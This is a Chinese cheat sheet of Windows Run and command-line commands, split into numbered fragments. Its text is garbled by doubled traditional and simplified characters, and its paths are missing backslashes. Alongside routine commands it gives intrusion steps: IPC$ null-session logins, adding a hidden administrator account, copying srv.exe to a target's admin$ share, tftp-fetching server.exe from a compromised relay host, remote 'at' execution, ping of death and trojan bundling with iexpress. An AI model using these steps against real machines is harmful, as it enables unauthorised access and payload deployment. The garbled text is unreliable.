1、1. calc-啟動(dòng)計(jì)算器2.certmgr.msc-證書管理實(shí)用程序3.charmap-啟動(dòng)字符映射表 5. chkdsk.exe-Chkdsk磁盤檢查6. ciadv.msc-索引服務(wù)程序 7. cleanmgr-垃圾整理8. cliconfg-SQL SERVER 客戶端網(wǎng)絡(luò)實(shí)用程序9. Clipbrd-剪貼板查看器10. cmd.exe-CMD命令提示符11. compmgmt.msc-計(jì)算機(jī)管理12. conf-啟動(dòng)netmeeting13. dcomcnfg-打開系統(tǒng)組件服務(wù)14. ddeshare-打開DDE共享設(shè)置15. devmgmt.msc- 設(shè)備管理器16. dfrg.m

2、sc-磁盤碎片整理程序17. diskmgmt.msc-磁盤管理實(shí)用程序18. drwtsn32- 系統(tǒng)醫(yī)生19. dvdplay-DVD播放器20. dxdiag-檢查DirectX信息21. explorer-打開資源管理器22. eudcedit-造字程序23. eventvwr-事件查看器24. fsmgmt.msc-共享文件夾管理器25. gpedit.msc-組策略26. iexpress-木馬捆綁工具，系統(tǒng)自帶27. logoff-注銷命令28. lusrmgr.msc-本機(jī)用戶和組29. notepad-打開記事本30. magnify-放大鏡實(shí)用程序31. mem.exe-顯

3、示內(nèi)存使用情況32. mmc-打開控制臺(tái)49. 33. mobsync-同步命令34.mplayer2-簡(jiǎn)易widnows media player35. Msconfig.exe-系統(tǒng)配置實(shí)用程序36. mspaint-畫圖板37. mstsc-遠(yuǎn)程桌面連接 38. narrator-屏幕“講述人”39. net start messenger-開始信使服務(wù) 40. netstat -an-(TC)命令檢查接口41. net stop messenger-停止信使服務(wù)42. Nslookup-IP地址偵測(cè)器 ，是一個(gè)監(jiān)測(cè)網(wǎng)絡(luò)中 DNS 服務(wù)器是否能正確實(shí)現(xiàn)域名解析的命令行工具.它在Windo

4、ws NT/2000/XP中均可使用，但在 Windows 98 中卻沒有集成這一個(gè)工具。43. ntbackup-系統(tǒng)備份和還原44. ntmsmgr.msc-移動(dòng)存儲(chǔ)管理器45. ntmsoprq.msc-移動(dòng)存儲(chǔ)管理員操作請(qǐng)求46. odbcad32-ODBC數(shù)據(jù)源管理器47. oobe/msoobe /a-檢查XP是否激活48. osk-打開屏幕鍵盤49. packager-對(duì)象包裝程序50. perfmon.msc-計(jì)算機(jī)性能監(jiān)測(cè)程序51. progman-程序管理器52. regedit.exe-注冊(cè)表53. regedt32-注冊(cè)表編輯器54. regsvr32 /u *.dll

5、-停止dll文件運(yùn)行55. regsvr32 /u zipfldr.dll-取消ZIP支持56. rononce -p-15秒關(guān)機(jī)57. rsop.msc-組策略結(jié)果集58. secpol.msc-本地安全策略59. services.msc-本地服務(wù)設(shè)置 60. sfc.exe-系統(tǒng)文件檢查器61 sfc /scannow-掃描錯(cuò)誤并復(fù)原62. sfc /scannow-windows文件保護(hù)63. shrpubw-創(chuàng)建共享文件夾64. shutdown-60秒倒計(jì)時(shí)關(guān)機(jī)命令65. sigverif-文件簽名驗(yàn)證程序66. sndrec32-錄音機(jī)67. Sndvol32-音量控制程序68.

6、 syncapp-創(chuàng)建一個(gè)公文包69. sysedit-系統(tǒng)配置編輯器70. syskey-系統(tǒng)加密，一旦加密就不能解開，保護(hù)windows xp系統(tǒng)的雙重密碼 71. taskmgr-任務(wù)管理器72. tourstart-xp簡(jiǎn)介（安裝完成后出現(xiàn)的漫游xp程序）73. utilman-輔助工具管理器74. wiaacmgr-掃描儀和照相機(jī)向?qū)?5. winchat-XP自帶局域網(wǎng)聊天76. winmsd-系統(tǒng)信息77. winver-檢查Windows版本78. write-寫字板79. wmimgmt.msc-打開windows管理體系結(jié)構(gòu)（WMI)80. wscript-windows腳

7、本宿主設(shè)置81. wupdmgr-windows更新程序net use ipipc$ " " /user:" " 建立IPC空鏈接net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接net use h: ipc$ "密碼" /user:"用戶名" 直接登陸后映射對(duì)方C：到本地為H:net use h: ipc$ 登陸后映射對(duì)方C：到本地為H:net use ipipc$ /del 刪除IPC鏈接net use h: /del 刪除映射對(duì)方到本地的

8、為H：的映射net user 用戶名密碼/add 建立用戶net user guest /active:yes 激活guest用戶net user 查看有哪些用戶net user 帳戶名 查看帳戶的屬性net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權(quán)限net start 查看開啟了哪些服務(wù)net start 服務(wù)名開啟服務(wù)；（如：net start telnet， net start schedule)net stop 服務(wù)名 停止某服務(wù)net time 目標(biāo)ip 查看對(duì)方時(shí)間net time 目標(biāo)ip /set 設(shè)置本地計(jì)

9、算機(jī)時(shí)間與“目標(biāo)IP”主機(jī)的時(shí)間同步，加上參數(shù)/yes可取消確認(rèn)信息net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享net view ip 查看對(duì)方局域網(wǎng)內(nèi)開啟了哪些共享net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置net logoff 斷開連接的共享net pause 服務(wù)名 暫停某服務(wù)net send ip "文本信息" 向?qū)Ψ桨l(fā)信息net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息net share 查看本地開啟的共享net share ipc$ 開啟ipc$共享net share ipc$ /del 刪除ipc$共享net share c$ /del 刪除C：共享net

10、user guest 12345 用guest用戶登陸后用將密碼改為12345net password 密碼 更改系統(tǒng)登陸密碼netstat -a 查看開啟了哪些端口，常用netstat -annetstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -annetstat -v 查看正在進(jìn)行的工作netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況netstat -s 查看正在使用的所有協(xié)議使用情況nbtstat -A ip 對(duì)方136到139其中一個(gè)端口開了的話，就可查看對(duì)方最近登陸的用戶名tracert -參數(shù) ip(或計(jì)算機(jī)名） 跟蹤路由（數(shù)據(jù)

11、包），參數(shù)：“-w數(shù)字”用于設(shè)置超時(shí)間隔。ping ip（或域名） 向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù)，參數(shù)：“-l空格數(shù)據(jù)包大小”；“-n發(fā)送數(shù)據(jù)次數(shù)”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping（發(fā)送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98）查看本地ip地址，ipconfig可用參數(shù)“/all”顯示全部配置信息tlist -t 以樹行列表顯示進(jìn)程（為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi)）kill -

12、F 進(jìn)程名 加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程（為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi)）del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR *.*”表示刪除當(dāng)前目錄下所有只讀文件，“DEL/A-S *.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時(shí)使用參數(shù)/Q 可取消刪除操作時(shí)的系統(tǒng)確

13、認(rèn)就直接刪除。（二個(gè)命令作用相同）move 盤符路徑要移動(dòng)的文件名存放移動(dòng)文件的路徑移動(dòng)后文件名 移動(dòng)文件，用參數(shù)/y將取消確認(rèn)移動(dòng)目錄存在相同文件的提示就直接覆蓋fc one.txt two.txt > 3st.txt 對(duì)比二個(gè)文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令at id號(hào) 開啟已注冊(cè)的某個(gè)計(jì)劃任務(wù)at /delete 停止所有計(jì)劃任務(wù)，用參數(shù)/yes則不需要確認(rèn)就直接停止at id號(hào) /delete 停止某個(gè)已注冊(cè)的計(jì)劃任務(wù)at 查看所有的計(jì)劃任務(wù)at ip time 程序名（或一個(gè)

14、命令） /r 在某時(shí)間運(yùn)行對(duì)方某程序并重新啟動(dòng)計(jì)算機(jī)finger username Host 查看最近有哪些用戶登陸telnet ip 端口 遠(yuǎn)程登陸服務(wù)器，默認(rèn)端口為23open ip 連接到IP（屬telnet登陸后的命令）telnet 在本機(jī)上直接鍵入telnet 將進(jìn)入本機(jī)的telnetcopy 路徑文件名1路徑文件名2 /y 復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時(shí)取消確認(rèn)你要改寫一份現(xiàn)存目錄文件copy c:srv.exe ipadmin$ 復(fù)制本地c:srv.exe到對(duì)方的admin下copy 1st.jpg/b+2st.txt/a 3st.jpg 將

15、2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進(jìn)制文件，/a指ASCLL格式文件copy ipadmin$svv.exe c: 或：copyipadmin$*.* 復(fù)制對(duì)方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要復(fù)制的文件或目錄樹目標(biāo)地址目錄名 復(fù)制文件和目錄樹，用參數(shù)/Y將不提示覆蓋相同文件用參數(shù)/e才可連目錄下的子目錄一起復(fù)制到目標(biāo)地址下。tftp -i 自己IP（用肉機(jī)作跳板時(shí)這用肉機(jī)IP) get server.exec:server.exe 登陸后，將“IP”的server.e

16、xe下載到目標(biāo)主機(jī)c:server.exe 參數(shù)：-i指以二進(jìn)制模式傳送，如傳送exe文件時(shí)用，如不加-i 則以ASCII模式（傳送文本文件模式）進(jìn)行傳送tftp -i 對(duì)方IPput c:server.exe 登陸后，上傳本地c:server.exe至主機(jī)ftp ip 端口 用于上傳文件至服務(wù)器或進(jìn)行文件操作，默認(rèn)端口為21。bin指用二進(jìn)制方式傳送（可執(zhí)行文件進(jìn)）；默認(rèn)為ASCII格式傳送（文本文件時(shí)）route print 顯示出IP路由，將主要顯示網(wǎng)絡(luò)地址Network addres，子網(wǎng)掩碼Netmask，網(wǎng)關(guān)地址Gateway addres，接口地址Interfacearp 查看和

17、處理ARP緩存，ARP是名字解析的意思，負(fù)責(zé)把一個(gè)IP解析成一個(gè)物理性的MAC地址。arp -a將顯示出全部信息start 程序名或命令 /max 或/min 新開一個(gè)新窗口并最大化（最小化）運(yùn)行某程序或命令mem 查看cpu使用情況attrib 文件名（目錄名） 查看某文件（目錄）的屬性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉（添加）某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性；用+則是添加為某屬性dir 查看文件，參數(shù)：/Q顯示文件及目錄屬系統(tǒng)哪個(gè)用戶，/T:C顯示文件創(chuàng)建時(shí)間，/T:A顯示文件上次被訪問時(shí)間，/T:W上次被修改時(shí)間date /t 、 tim

18、e /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當(dāng)前日期和時(shí)間，而不必輸入新日期和時(shí)間set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量set 顯示當(dāng)前所有的環(huán)境變量set p（或其它字符） 顯示出當(dāng)前以字符p（或其它字符）開頭的所有環(huán)境變量pause 暫停批處理程序，并顯示出：請(qǐng)按任意鍵繼續(xù).if 在批處理程序中執(zhí)行條件處理（更多說明見if命令及變量）goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行（標(biāo)簽必須單獨(dú)一行，且以冒號(hào)打頭，例如：“：start”標(biāo)簽）call 路徑批處理文件名 從批處理程序中調(diào)用另一個(gè)批處理程序 （更多說明見call /?）for

19、 對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令（更多說明見for命令及變量）echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置echo 信息 在屏幕上顯示出信息echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hellofind 文件名 查找某文件title 標(biāo)題名字 更改CMD窗口標(biāo)題名字color 顏色值 設(shè)置cmd控制臺(tái)前景和背景顏色；0=黑、1=藍(lán)、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8

20、=灰、9=淡藍(lán)、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白prompt 名稱 更改cmd.exe的顯示的命令提示符（把C：、D：統(tǒng)一改為：EntSky )ver 在DOS窗口下顯示版本信息winver 彈出一個(gè)窗口顯示版本信息（內(nèi)存大小、系統(tǒng)版本、補(bǔ)丁版本、計(jì)算機(jī)名）format 盤符 /FS：類型 格式化磁盤，類型：FAT、FAT32、NTFS,例：Format D: /FS:NTFSmd目錄名 創(chuàng)建目錄replace 源文件要替換文件的目錄 替換文件ren 原文件名新文件名 重命名文件名tree 以樹形結(jié)構(gòu)顯示出目錄，用參數(shù)-f 將列出第個(gè)文件夾中文件名稱type 文件名

21、 顯示文本文件的內(nèi)容more 文件名 逐屏顯示輸出文件doskey 要鎖定的命令=字符doskey 要解鎖命令= 為DOS提供的鎖定命令（編輯命令行，重新調(diào)用win2k命令，并創(chuàng)建宏）。如：鎖定dir命令：doskey dir=entsky （不能用doskey dir=dir）；解鎖：doskey dir=taskmgr 調(diào)出任務(wù)管理器chkdsk /F D: 檢查磁盤D并顯示狀態(tài)報(bào)告；加參數(shù)/f并修復(fù)磁盤上的錯(cuò)誤tlntadmn telnt服務(wù)admn，鍵入tlntadmn選擇3，再選擇8，就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口exit 退出cmd.exe程序或目前，用參數(shù)/

22、B則是退出當(dāng)前批處理腳本而不是cmd.exepath 路徑可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個(gè)路徑。cmd 啟動(dòng)一個(gè)win2K命令解釋窗口。參數(shù)：/eff、/en 關(guān)閉、開啟命令擴(kuò)展；更我詳細(xì)說明見cmd /?regedit /s 注冊(cè)表文件名 導(dǎo)入注冊(cè)表；參數(shù)/S指安靜模式導(dǎo)入，無任何提示；regedit /e 注冊(cè)表文件名 導(dǎo)出注冊(cè)表cacls 文件名參數(shù) 顯示或修改文件訪問控制列表（ACL）針對(duì)NTFS格式時(shí)。參數(shù)：/D 用戶名：設(shè)定拒絕某用戶訪問；/P 用戶名：perm 替換指定用戶的訪問權(quán)限；/G 用戶名：perm 賦予指定用戶訪問權(quán)限；Perm 可以是： N 無，R 讀取， W

23、 寫入， C 更改（寫入），F(xiàn) 完全控制；例：cacls D: est.txt /D pub 設(shè)定d: est.txt拒絕pub用戶訪問。cacls 文件名 查看文件的訪問用戶權(quán)限列表REM 文本內(nèi)容 在批處理文件中添加注解netsh 查看或更改本地網(wǎng)絡(luò)配置情況IIS服務(wù)命令iisreset /reboot 重啟win2k計(jì)算機(jī)（但有提示系統(tǒng)將重啟信息出現(xiàn)）iisreset /start或stop 啟動(dòng)（停止）所有Internet服務(wù)iisreset /restart 停止然后重新啟動(dòng)所有Internet服務(wù)iisreset /status 顯示所有Internet服務(wù)狀態(tài)iisreset /

24、enable或disable 在本地系統(tǒng)上啟用（禁用）Internet服務(wù)的重新啟動(dòng)iisreset /rebootonerror 當(dāng)啟動(dòng)、停止或重新啟動(dòng)Internet服務(wù)時(shí)，若發(fā)生錯(cuò)誤將重新開機(jī)iisreset /noforce 若無法停止Internet服務(wù)，將不會(huì)強(qiáng)制終止Internet服務(wù)iisreset /timeout Val在到達(dá)逾時(shí)間（秒）時(shí)，仍未停止Internet服務(wù)，若指定/rebootonerror參數(shù)，則電腦將會(huì)重新開機(jī)。預(yù)設(shè)值為重新啟動(dòng)20秒，停止60秒，重新開機(jī)0秒。FTP 命令：（后面有詳細(xì)說明內(nèi)容）ftp的命令行格式為：ftp v d i n g主機(jī)名 v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。d 使用調(diào)試方式。n 限制ftp的自動(dòng)登錄，即不使用.netrc文件。g 取消全局文件名。help 命令 或 ？命令 查看命令說明bye 或 quit 終止主機(jī)FTP進(jìn)程，并退出FTP管理方式.pwd